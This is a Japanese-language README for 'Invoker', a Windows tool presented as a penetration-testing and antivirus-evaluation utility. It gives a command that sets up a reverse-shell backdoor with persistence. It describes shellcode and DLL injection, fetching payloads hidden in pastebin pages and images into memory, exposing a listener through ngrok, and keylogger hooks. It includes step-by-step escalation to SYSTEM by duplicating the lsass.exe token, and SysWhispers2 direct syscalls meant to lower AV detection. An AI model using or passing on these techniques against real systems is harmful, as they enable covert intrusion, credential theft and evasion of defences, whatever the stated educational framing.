
ペネトレーションテスト用ユーティリティおよびアンチウイルス評価ツール。
ペネトレーションテストユーティリティおよびアンチウイルス評価ツール。
Visual Studio Community 2022 v17.5.4(64ビット)でビルドし、Windows 10 Enterprise OS(64ビット)でテストしました。
教育目的で作成されました。お役に立てれば幸いです!
このリポジトリには既知のシグネチャが含まれ始めており、毎回新しい実行ファイルをアップロードする時間がないため、このプロジェクトを自分でコンパイルする必要があります。
便利なウェブサイト:
今後の課題:
NtCreateProcessExが32ビットプロセスでうまく動作しないため。将来の計画:
コーディング中に心がけていること:
上記のすべてにより、PEのサイズが小さくなり、検出率が低下します。
機能:
Invoker ライブラリはこちらをご確認ください。ご自由にお使いください!
一部の機能は管理者権限が必要な場合があります。
一部の機能は、特定のアクセス権や制御フラグを使用するため、Windows XP以前では動作しない場合があります。
Invoker_x86.exe(32ビット)またはInvoker_x64.exe(64ビット)を実行します。
永続性を追加しながらリバースシェルバックドアを自動化するには、次のコマンドを実行します:
Invoker_x64.exe 192.168.8.5:9000
32ビットのInvokerで可能な操作:
64ビットのInvokerで可能な操作:
各インジェクション手法には長所と短所があることに注意してください。たとえば、ある手法は必要なアクセス権が少なく、より疑わしくない方法を使用するなどですが、プロセスがクラッシュしたり、ペイロードを実行するために時間や特別な条件が必要になる場合があります。
メモリ解放後に一部のC2Cインプラントが動作しない場合があることに注意してください。その場合は、VirtualFreeEx、NtFreeVirtualMemoryなどのメソッドをコメントアウトしてください。
バイトコードをより高い特権のプロセスにインジェクションして特権を昇格させます。
このツールは、バイナリファイルの内容をメモリにダウンロードし、実行中のプロセスにインジェクションできます。また、HTTPレスポンスを解析し、カスタム要素からペイロードを抽出することもできます。たとえば、<invoker>payload</invoker>(payloadはBase64でエンコードされたバイナリコード)から抽出します。
例はpastebin.com/raw/xf9Trt0dをご確認ください。
これは、アンチウイルスがローカルペイロードを常に削除する場合に便利です。
追加の例はpastebin.com/raw/iW17rCxHをご確認ください。画像要素に隠されたペイロードです。
P.S. ここに示したバイトコードはおそらく機能しません。
ngrokを使用して、ローカルWebサーバーにパブリックアドレスを割り当ててください。
プロセスが32ビットか64ビットかを確認するには、タスクマネージャーを開き、「詳細」をクリックして「詳細」タブに移動し、任意の列を右クリックして「列の選択」をクリックし、「プラットフォーム」チェックボックスをオンにします。
プロセスが管理者権限で実行されているかどうかを確認するには、「昇格」チェックボックスをオンにします。
リバースシェルペイロードの生成方法と、Ncatおよびmulti/handlerリスナーの設定方法については、私の別のプロジェクトを参照してください。
バイトコードインジェクションは、バイトコードに不正な文字、間違った終了関数、またはエンコーディングの問題があると失敗する可能性があります。DLLインジェクションの方が信頼性が高いです。
InvokerからPowerShellリバースシェルまたはバインドシェルを実行する場合は、Invokerを開いてPowerShellセッションを開始し、私の別のプロジェクトにあるワンライナーのいずれかを実行してください。
ダイレクトシステムコールのライブラリとアセンブリはSysWhispers2で生成されました。作者に感謝します!
同じライブラリとアセンブリを生成するには、任意のコンソールで次のコマンドを実行します:
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls
ライブラリとアセンブリのラッパーはこちらを確認してください。ご自由にお使いください!
シンプルなフックプロシージャを含むDLLはこちらです。このフックプロシージャは、ウィンドウが閉じられるたびにメッセージボックスを呼び出します。
キーボードフックプロシージャ(キーロガー)はこちらです。
最初のマウスクリックで新しいプロセスを実行するマウスフックプロシージャはこちらです。
テストが終わったら、keylogger.logなど、作成したアーティファクトをすべて削除することを忘れないでください。
以下の簡単な手順に従ってください:
Invokerを管理者として実行します。
すべてのアクセストークン特権を有効にします。
たとえば、Local Security Authority Subsystem Service(lsass.exe)からアクセストークンを複製し、Invokerの新しいインスタンスを実行します。
新しいInvokerインスタンス内でコマンドプロンプトを開き、whoamiを実行します。「nt authority\system」と表示されるはずです。
もう一度、すべてのアクセストークン特権を有効にします。
古いInvokerインスタンスを閉じます。

図1 - Invoker

図2 - バイトコードインジェクション

図3 - 昇格された特権